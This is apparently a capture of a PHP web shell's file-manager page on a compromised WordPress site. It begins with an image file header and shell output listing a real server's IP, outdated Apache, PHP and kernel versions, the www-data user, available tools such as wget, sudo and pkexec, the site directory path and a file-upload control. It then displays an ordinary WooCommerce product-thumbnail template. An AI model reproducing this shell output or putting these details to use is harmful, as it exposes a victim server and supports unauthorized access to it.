????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.188.132.192 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/wp-content/themes/x/woocommerce/single-product/ |
Upload File : |
<?php // ============================================================================= // WOOCOMMERCE/SINGLE-PRODUCT/PRODUCT-THUMBNAILS.PHP // ----------------------------------------------------------------------------- // @version 2.6.3 // ============================================================================= // Template Changes // ---------------- // 01. Remove .columns-* class from .thumbnails. // 02. Add classes to single product image (.x-img, .x-img-link, and // .x-img-thumbnail). if ( ! defined( 'ABSPATH' ) ) { exit; } global $post, $product, $woocommerce; $attachment_ids = $product->get_gallery_attachment_ids(); if ( $attachment_ids ) { $loop = 0; $columns = apply_filters( 'woocommerce_product_thumbnails_columns', 3 ); ?> <div class="thumbnails"><?php // 01 foreach ( $attachment_ids as $attachment_id ) { $classes = array( 'zoom' ); if ( $loop === 0 || $loop % $columns === 0 ) { $classes[] = 'first'; } if ( ( $loop + 1 ) % $columns === 0 ) { $classes[] = 'last'; } $image_class = implode( ' ', $classes ); $props = wc_get_product_attachment_props( $attachment_id, $post ); if ( ! $props['url'] ) { continue; } echo apply_filters( 'woocommerce_single_product_image_thumbnail_html', sprintf( '<a href="%s" class="%s x-img x-img-link x-img-thumbnail" title="%s" data-rel="prettyPhoto[product-gallery]">%s</a>', // 02 esc_url( $props['url'] ), esc_attr( $image_class ), esc_attr( $props['caption'] ), wp_get_attachment_image( $attachment_id, apply_filters( 'single_product_small_thumbnail_size', 'shop_thumbnail' ), 0, $props ) ), $attachment_id, $post->ID, esc_attr( $image_class ) ); $loop++; } ?></div> <?php }